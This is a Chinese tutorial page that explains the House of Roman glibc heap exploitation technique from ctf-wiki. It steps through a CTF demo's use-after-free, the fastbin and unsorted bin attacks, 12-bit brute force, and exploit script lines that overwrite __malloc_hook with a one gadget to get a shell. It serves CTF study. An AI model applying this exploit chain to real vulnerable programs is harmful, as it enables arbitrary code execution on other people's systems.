ARTICLE DETAIL

资讯详情

深耕郑州网站建设与运营推广的一线实战洞察。

深入解析 House of Roman:用 12-bit 爆破绕过 ASLR 的堆利用技巧(ctf-wiki)

深入解析 House of Roman:用 12-bit 爆破绕过 ASLR 的堆利用技巧(ctf-wiki) 文档网络安全教程【免费下载链接】ctf-wikiCome and join us, we need you!项目地址https://gitcode.com/gh_mirrors/ct/ctf-wiki点击查看免费下载导读House of Roman 是 Linux 堆利用中一种经典且精巧的组合技巧它将fastbin attack与unsorted bin attack合二为一仅凭一个UAFUse After Free漏洞加上可创建任意大小 chunk的能力就能借助12-bit 爆破绕过 ASLR最终在__malloc_hook处写入 one gadget 拿到 shell。本文将结合 ctf-wiki 仓库中 house-of-roman.md 的原始讲解与 demo逐步还原从伪造 chunk、修正 fastbin freelist 到写入 one gadget 的完整三步利用链并逐行剖析配套 exp帮助读者掌握这类零泄露 爆破思路的堆题解法。一、House of Roman 到底是什么用一句话概括House of Roman fastbin attack unsorted bin attack 结合的一个小 trick。其核心价值在于它打破了传统堆利用对信息泄露的依赖。常规思路下我们要改写__malloc_hook必须先拿到一个 libc 地址例如通过 unsorted bin leak从而计算目标地址而 House of Roman 通过**只改写指针的低位字节partial overwrite**的方式把 high 6 个字节原样保留仅对低 12 位进行爆破从而在完全没有泄露的情况下把__malloc_hook的地址猜出来并最终写入 one gadget。它的前置条件非常宽松仅仅需要一个UAF释放后仍可读写该 chunk能够创建任意大小的 chunk能分配到 unsorted bin 大小的块也能分配到 fastbin 大小的块。因此在 CTF 中凡是具备笔记管理类功能alloc / edit / free 且 free 后指针不置 NULL的题目都可以考虑用这个技巧。二、前置知识组成 House of Roman 的两块基石House of Roman 不是凭空出现的它建立在对 ptmalloc 两个关键机制的理解之上。ctf-wiki 仓库中的姊妹文档对这两块基石有非常详细的论述建议先对照阅读。1. Fastbin Attack单链表与 fd 指针劫持fastbin 是 ptmalloc 用单链表维护的释放块集合。chunk 被释放进入 fastbin 后其用户数据区的前 8 字节即 chunk 结构中的fd会被写入链表中下一块 chunk 的地址。因此只要我们能控制某个 fastbin chunk 的内容如 UAF、堆溢出就能改写它的fd从而让后续的malloc把块分配到我们指定的位置——这就是 fastbin-attack.md 中论述的Arbitrary Alloc技术if (__builtin_expect (fastbin_index (chunksize (victim)) ! idx, 0)) { errstr malloc(): memory corruption (fast); ... }_int_malloc在从 fastbin 取出 chunk 时会校验该位置的size是否与当前 fastbin 链表的 index 匹配。这正是 House of Roman 中需要伪造 size如 0x71 / 0x61以及利用字节错位在main_arena附近构造出0x7f伪 size 的原因。fastbin 攻击更系统的分类Fastbin Double Free、House of Spirit、Alloc to Stack、Arbitrary Alloc可参阅 fastbin-attack.md。2. Unsorted Bin Attack控制 bk 写任意地址大数unsorted bin 是循环双向链表。当malloc遍历 unsorted bin 取出 chunk 时_int_malloc中会有如下操作/* remove from unsorted list */ if (__glibc_unlikely (bck-fd ! victim)) malloc_printerr (malloc(): corrupted unsorted chunks 3); unsorted_chunks (av)-bk bck; bck-fd unsorted_chunks (av);如果我们控制了 victim chunk 的bk指针那么bck-fd unsorted_chunks(av)这条语句就会把main_arena中 unsorted bin 链表头部的地址一个相当大的值写入bck-fd即实现把任意地址改写为一个大的 libc 地址。这个写大数的能力在 House of Roman 中正是被用来给__malloc_hook填入 libc 地址main_arena88以便后续通过低位爆破把该地址改成 one gadget。完整原理与示例可参阅 unsorted-bin-attack.md。3. 两个基础漏洞UAF 与 off-by-oneUAFfree 后指针未置 NULL就形成了悬垂指针dangling pointer可继续对该块读写。参见 use-after-free.md。off-by-one单字节越界写。在本技巧中用于把 chunk B 的 size 从 0xd1 改写成 0x71从而让该块同时可被当作 fastbin 使用。参见 off-by-one.md。三、Demo 环境与程序功能分析作者提供了用于演示的 demonew_chall其安全保护情况如下[*] /media/psf/Home/Desktop/MyCTF/House-Of-Roman/new_chall Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled注意两个关键点PIE 开启程序自身基址随机化因此不能依赖任何程序段地址堆地址也随 ASLR 变化。64 位指针为 8 字节高位通常是0x00/0x7f这决定了只爆破低 12 位是可行的。样题中有三个主要功能Malloc、Write、Freeswitch ( v4 ) { case 1: puts(Malloc); v5 malloc_chunk(Malloc); if ( !v5 ) puts(Error); break; case 2: puts(Write); write_chunk(Write); break; case 3: puts(Free); free_chunk(); break; default: puts(Invalid choice); break; }漏洞点在于 Free 功能中释放 chunk 后指针未置零形成悬垂指针UAFvoid free_chunk() { unsigned int v0; // [rspCh] [rbp-4h]1 printf(\nEnter index :); __isoc99_scanf(%d, v0); if ( v0 0x13 ) free(heap_ptrs[(unsigned __int64)v0]); }释放后heap_ptrs[v0]仍然保留着原地址因此我们可以继续通过 Write 功能读写已释放的 chunk——这正是整个攻击的入口。四、利用流程总览经典三步整个利用过程分为三个步骤将 FD 指向malloc_hook附近修正 0x71 的 Freelist让 fastbin 链自洽保证后续分配可正常进行往malloc_hook写入 one gadget配合爆破触发 get shell下面按步骤展开。五、第一步伪造 chunk 并把 FD 指向 malloc_hook 附近5.1 伪造一个 0x61 大小的 fake chunk首先在堆上伪造一个 chunk其 size 为 0x61。攻击者可以在数据区预先布局A并在0x78处写入伪 sizepwndbg 0x555555757050: 0x41414141 0x41414141 0x41414141 0x41414141 0x555555757060: 0x41414141 0x41414141 0x41414141 0x41414141 0x555555757070: 0x41414141 0x41414141 0x41414141 0x41414141 0x555555757080: 0x41414141 0x41414141 0x41414141 0x41414141 0x555555757090: 0x41414141 0x41414141 0x61 0x0 ----------这个 fake size 的作用是为后面的 fastbin attack 做准备相当于 House of Spirit 中伪造一个合法的 fastbin chunk。随后我们利用partial overwrite只改写指针低 2 字节将 fastbin 链的 FD 指向该伪造 chunk当然如果有 UAF 的话直接通过 UAF 改写 fd 也可以。5.2 free 大块进入 unsorted bin取得 main_arena 地址释放 chunk 10xd1 大小该块不属于 fastbin 范围因此被放入unsorted bin。此时它的fd/bk都指向main_arena0x555555757020 PREV_INUSE { prev_size 0x0, size 0xd1, fd 0x7ffff7dd1b58 main_arena88, bk 0x7ffff7dd1b58 main_arena88, fd_nextsize 0x4141414141414141, bk_nextsize 0x4141414141414141 }5.3 重分配并改写 size 为 0x71重新分配 0xd1 这块 chunk再次拿到它此时B0x10与B0x18处仍保留着main_arena的地址——注意这些 libc 指针高位字节是0x7f是我们后面爆破的基础不能把整个指针清零。接着把它的 size 改为 0x71pwndbg x/40ag 0x555555757020 0x555555757020: 0x4141414141414141 0x71 0x555555757030: 0x7ffff7dd1b58 main_arena88 0x7ffff7dd1b58 main_arena88 0x555555757040: 0x4141414141414141 0x4141414141414141 0x555555757050: 0x4141414141414141 0x4141414141414141 0x555555757060: 0x4141414141414141 0x4141414141414141 0x555555757070: 0x4141414141414141 0x4141414141414141 0x555555757080: 0x4141414141414141 0x4141414141414141 0x555555757090: 0x4141414141414141 0x61这样一个原本 0xd1 的 unsorted bin chunk 就被伪装成了一个 0x70 的 fastbin chunk0x71 含 PREV_INUSE 位堆中同时存在两个可被 0x70 fastbin 索引的伪释放块。5.4 修正 0x71 的 freelist紧接着需要修正 0x71 freelist把堆上这两处0x71位置的块都伪装成已释放状态让 fastbin 链表看起来自洽pwndbg x/40ag 0x555555757000 0x555555757000: 0x0 0x21 0x555555757010: 0x4141414141414141 0x4141414141414141 0x555555757020: 0x4141414141414141 0x71 ---------- free 0x71 0x555555757030: 0x7ffff7dd1b58 main_arena88 0x7ffff7dd1b58 main_arena88 0x555555757040: 0x4141414141414141 0x4141414141414141 ... 0x5555557570f0: 0xd0 0x71 ---------- free 0x71 0x555555757100: 0x0 0x0此时通过调试可知libc : 0x7ffff7a23d28 (malloc_hook)也就是说FD 已经位于 malloc_hook 附近为之后的爆破做好了准备。技术要点为什么可以只爆破 12 位 在 64 位 Linux 上libc 被映射在形如0x7fxx_xxxx_xxxx的地址空间页对齐低 12 位为 0。当我们 partial overwrite 一个已有的 libc 指针的低 2 字节或低 3 字节时高 6/5 个字节保持不变需要猜的只有低 12 位因此爆破空间约为 4096 分之一通常在本地调试时可接受、远程需要一定的重试次数。六、第二步释放一块 0x71 的 chunk 完成 freelist 修复第二步本身非常简洁只需要通过释放一块 0x71 大小的 chunk就能完成 freelist 的 fix。这一步的目的是利用free把一块真实合法的 0x70 chunk 压入 fastbin 链表头部让_int_malloc在从 0x70 fastbin 取块时的检查fastbin_index(chunksize(victim)) ! idx被正常通过同时借助 UAF 把链表修正为... - malloc_hook 附近 - 0这样的可分配状态从而确保后续能稳定地把 chunk 分配到malloc_hook附近。七、第三步unsorted bin 写 malloc_hook再改成 one gadget最后一步分为两小步利用 unsorted bin attack把malloc_hook的值写成main_arena88一个 libc 地址利用 Write编辑功能对该 libc 地址做低位 partial overwrite低 3 字节使__malloc_hook变成 one gadget 的地址。由于我们已经知道malloc_hook附近地址的高位字节是固定的如0x7f...只需要爆破低位例如将malloc_hook的低 3 字节改写为\xa4\xd2\xaf对应某个 one gadget失败则重新尝试。当随后malloc被再次调用时__malloc_hook被触发程序流程即被劫持到 one gadgetget shell。八、Exp 逐步解析下面按原 demo 配套 exp 的顺序把每一步的意图与对应的堆状态变化讲清楚。整体分配/释放/编辑关系如下下文注释中的B指 index1 的 0xd1 chunk8.1 布局分配三个 chunk构造 fake size分配3个 chunk并在B 0x78处设置p64(0x61)fake size用于后面的 fastbin attackcreate(0x18,0) # 0x20 create(0xc8,1) # d0 create(0x65,2) # 0x70 info(create 2 chunk, 0x20, 0xd8) fake A*0x68 fake p64(0x61) ## fake size edit(1,fake) info(fake)chunk00x20后面用于 off-by-one 溢出修改 chunk1 的 sizechunk1B0xd0unsorted bin 大小是整个攻击的核心载体chunk20x70fastbin 大小。8.2 进入 unsorted bin重分配拿回 main_arena 地址释放掉B再分配同样大小重新拿到B。此时B0x10和B0x18中保存着main_arena的地址这是 libc 侧信息是后续 partial overwrite 的基础。随后分配 3 个 fastbin并利用off-by-one修改B-size 0x71free(1) create(0xc8,1) create(0x65,3) # b create(0x65,15) create(0x65,18) over A*0x18 # off by one over \x71 # set chunk 1s size -- 0x71 edit(0,over) info(利用 off by one , chunk 1s size -- 0x71)chunk0 的用户区是 0x20写入A*0x18 \x71恰好越界 1 字节把紧跟其后的 chunk1 的 size 低字节覆盖成0x71原 0xd1 的低字节 0xd1 → 0x71chunk1 从此被降级为 fastbin 大小的块。这正是 off-by-one.md 中论述的单字节溢出改 size 的手法。8.3 生成两个 fastbin利用 UAF 把 B 链入 fastbin生成两个 0x70 的 fastbin然后利用 UAF 做部分地址写把B链入 fastbinfree(2) free(3) info(创建两个 0x70 的 fastbin) heap_po \x20 edit(3,heap_po) info(把 chunk1 链入到 fastbin 里面)此时 fastbin 的状态如下pwndbg fastbins fastbins 0x20: 0x0 0x30: 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x555555757160 —▸ 0x555555757020 —▸ 0x7ffff7dd1b78 (main_arena88) ◂— 0x7ffff7dd1b78 0x80: 0x00x555555757020就是 chunk B其 size 已被改成 0x71且fd/bk中残留着main_arena88。8.4 修改 B-fd 的低 2 字节指向 malloc_hook 附近然后通过修改B-fd的低 2 字节使B-fd malloc_hook - 0x23# malloc_hook 上方 malloc_hook_nearly \xed\x1a edit(1,malloc_hook_nearly) info(部分写修改 fastbin-fd --- malloc_hook)这里的\xed\x1a正是把 fd 低 2 字节改写成malloc_hook - 0x23的低 2 字节。为什么是-0x23因为在 64 位 libc 中main_arena附近存在一段可以字节错位出合法 fastbin size0x7f的区域把 fake chunk 放在malloc_hook - 0x23处其 size 字段恰好落在0x7f上能通过_int_malloc的 fastbin size 校验——这与 fastbin-attack.md 中Arbitrary Alloc 通过字节错位绕过 size 校验的经典手法完全一致。8.5 三次分配 0x70拿到 malloc_hook 所在 chunk然后分配3个0x70的 chunk就可以拿到malloc_hook所在的那个 chunkcreate(0x65,0) create(0x65,0) create(0x65,0)分配过程第 1 次取走 fastbin 头原 chunk2 那块第 2 次取走 Bfd 已被篡改第 3 次就会按B-fd取到malloc_hook - 0x23处的伪 chunk于是我们获得了指向__malloc_hook附近的读写句柄。8.6 free E 并修复 fastbinfree 掉Eindex15使其进入 fastbin再通过 UAF 设置E-fd 0修复 fastbin 链表避免后续分配触发校验失败free(15) edit(15,p64(0x00)) info(再次生成 0x71 的 fastbin, 同时修改 fd 0, 修复 fastbin)8.7 unsorted bin attack让 malloc_hook 持有 libc 地址接下来是 unsorted bin attack使得malloc_hook的值为main_arena88create(0xc8,1) create(0xc8,1) create(0x18,2) create(0xc8,3) create(0xc8,4) free(1) po B*8 po \x00\x1b edit(1,po) create(0xc8,1) info(unsorted bin 使得 malloc_hook 有 libc 的地址)过程解析重新构造一个 0xd1 的 unsorted bin chunkindex1并 free 掉它通过 UAF 修改其bk指针的低 2 字节为\x00\x1b使bk指向malloc_hook附近对应bck target - 16的布局再次malloc(0xc8)触发 unsorted bin 遍历_int_malloc中bck-fd unsorted_chunks(av)会把main_arena88写入malloc_hook。这正是 unsorted-bin-attack.md 中论述的控制 bk 实现任意地址写大数。8.8 改写 malloc_hook 低 3 字节为 one gadget利用修改malloc_hook的低三个字节使得malloc_hook为 one gadget 的地址over R*0x13 # padding for malloc_hook over \xa4\xd2\xaf edit(0,over) info(malloc_hook to one_gadget)R*0x130x13 19 字节从我们拿到的伪 chunk 用户区起点padding 到__malloc_hook字段的偏移\xa4\xd2\xafone gadget 地址的低 3 字节高位字节沿用已写入的main_arena88地址的高 5 字节0x7f...因此这一步同样是低位爆破 高位保留——成功率取决于 12-bit 爆破失败则进程崩溃重开重试即可。8.9 触发double free 触发 malloc_printerr借道 malloc_hook 劫持流程最后 free 两次同一个 chunk触发malloc_printerr错误路径该路径内部会调用malloc从而触发已被改写的__malloc_hookget shellfree(18) free(18)# 完整触发序列 free(18) # 第一次 free进入 fastbin free(18) # 第二次 free触发 double free or corruption (fasttop) 检测 # 错误处理路径调用 malloc - __malloc_hook(one_gadget) - shell原理补充当_int_free检测到 fastbin 顶部的 double free 时会调用malloc_printerr该函数在打印错误的同时内部会调用malloc分配输出缓冲区或进入abort路径中的分配逻辑此时__malloc_hook被触发执行 one gadget控制流被劫持。从源码结构看这是 exp 利用malloc_hook的常见触发手法hook 类指针劫持的通用思路也可参考 hijack-control-flow.md。九、要点总结攻击面极小仅需 UAF 可创建任意大小 chunk不需要泄漏 libc、不需要泄漏堆地址。核心是 partial overwrite 12-bit 爆破所有对main_arena/malloc_hook相关地址的操作都只改写低 23 字节高字节沿用 libc 地址本身从而把未知信息压缩到 12 bit。两次基石攻击fastbin attack 负责把块分到 malloc_hook 附近含字节错位伪造 0x7f size 绕过校验unsorted bin attack 负责把 libc 大数写到 malloc_hook。freelist 自洽性利用过程中要时刻保证 fastbin 链表的完整性如通过释放真实 0x71 chunk、置fd0等手段修复链表否则_int_malloc/_int_free的校验会让利用中途失败。爆破的代价由于存在 12-bit 爆破远程利用往往需要多次重试本地调试时应配合one_gadget工具选择约束条件满足的 gadget 地址。十、延伸阅读本仓库对该技巧涉及的基础机制均有系统论述可作为深入学习的下一站fastbin-attack.mdFastbin Double Free / House of Spirit / Alloc to Stack / Arbitrary Alloc 全解unsorted-bin-attack.mdunsorted bin leak 与 bk 写大数的完整推导与真题HITCON lab14use-after-free.md悬垂指针与 UAF 原理、HITCON hacknote 真题off-by-one.md单字节溢出的成因与利用思路hijack-control-flow.mdmalloc_hook等 hook 指针劫持在控制流劫持体系中的位置。掌握 House of Roman意味着你同时打通了fastbin 链操作与unsorted bin 链操作两条技能线并理解了无泄露条件下用爆破换取确定性这一在高版本 tcache 时代依然反复出现的利用哲学。赞分享文档网络安全教程【免费下载链接】ctf-wikiCome and join us, we need you!项目地址https://gitcode.com/gh_mirrors/ct/ctf-wiki点击查看免费下载相关推荐House of Roman 堆利用详解基于 fastbin 与 unsorted bin 组合的 12-bit 爆破型 Getshell 手法House of Roman 堆利用详解基于 fastbin 与 unsorted bin 组合的 12 bit 爆破型 Getshell 手法 导读 Hou文档网络安全教程ctf-wiki 堆利用深度剖析House of Pig —— Tcache Stash Unlink 与 FSOP 的联合利用ctf wiki 堆利用深度剖析House of Pig —— Tcache Stash Unlink 与 FSOP 的联合利用 House of Pig文档网络安全教程House of Einherjar 深入解析滥用 free 后向合并实现任意地址 chunk 分配ctf-wiki 堆利用技术House of Einherjar 深入解析滥用 free 后向合并实现任意地址 chunk 分配ctf wiki 堆利用技术 House of Ein文档网络安全教程上一篇阴阳师自动化脚本完整指南每天省出两小时把重复操作交给它托管下一篇Notesnook 主题构建器Theme Builder实战指南可视化打造自定义主题无需手写 JSON创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考
返回列表